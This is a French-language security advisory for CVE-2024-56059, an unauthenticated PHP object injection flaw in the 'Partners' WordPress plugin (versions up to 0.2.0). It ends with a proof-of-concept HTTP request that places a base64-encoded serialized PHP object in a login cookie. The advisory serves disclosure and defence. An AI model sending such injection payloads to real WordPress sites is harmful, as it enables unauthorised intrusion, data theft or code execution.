CVE-2024-56059

Partners <= 0.2.0 - Injection d'objet PHP non authentifiée

Description

Le plugin Partners pour WordPress est vulnérable à l'injection d'objets PHP dans les versions jusqu'à la 0.2.0 incluse via la désérialisation d'entrées non fiables. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. Aucune chaîne POP connue n'est présente dans le logiciel vulnérable. Si une chaîne POP est présente via un plugin ou un thème supplémentaire installé sur le système cible, cela pourrait permettre à l'attaquant de supprimer des fichiers arbitraires, de récupérer des données sensibles ou d'exécuter du code.

Détails

• Type: plugin
• Slug: partners
• Version affectée: 0.2.0
• Score CVSS: 9.8
• Évaluation CVSS: Critique
• Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-56059
• Statut: Actif

POC

GET /partners/ HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: mighty_partners_login=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=